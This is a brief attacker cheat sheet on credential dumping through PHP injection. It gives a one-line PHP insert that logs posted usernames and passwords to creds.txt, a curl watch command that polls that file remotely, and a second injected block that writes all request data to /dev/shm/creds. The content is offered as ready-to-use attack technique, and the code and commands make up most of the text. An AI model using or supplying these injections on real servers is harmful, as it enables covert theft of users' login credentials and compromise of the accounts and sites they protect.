Credential Dumping

File-based Credentials Dumping via PHP Injection

This technique involves modifying any authentication-handling PHP file to log user credentials to a file on the server.

• Add the next line after <?php:

file_put_contents("creds.txt", $_POST['log']." - ".$_POST['pwd'], FILE_APPEND);

• The attacker can continuously check the creds.txt file for new data using a command like this:

watch -n 1 curl -s -X GET http://10.10.10.78/dev_wiki/creds.txt

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Memory-based Credentials Dumping via PHP Injection

This method involves injecting PHP code into an authentication PHP script to capture login credentials and write them to a temporary memory file (/dev/shm).

• The following code to capture the $_REQUEST data (which includes the $_POST data from the login form) and write it to a file:

<?php
$rrr = print_r($_REQUEST, true);
$fff = fopen("/dev/shm/creds", "a");
fwrite($fff, $rrr);
fclose($fff);

• Just cat the file:

cat creds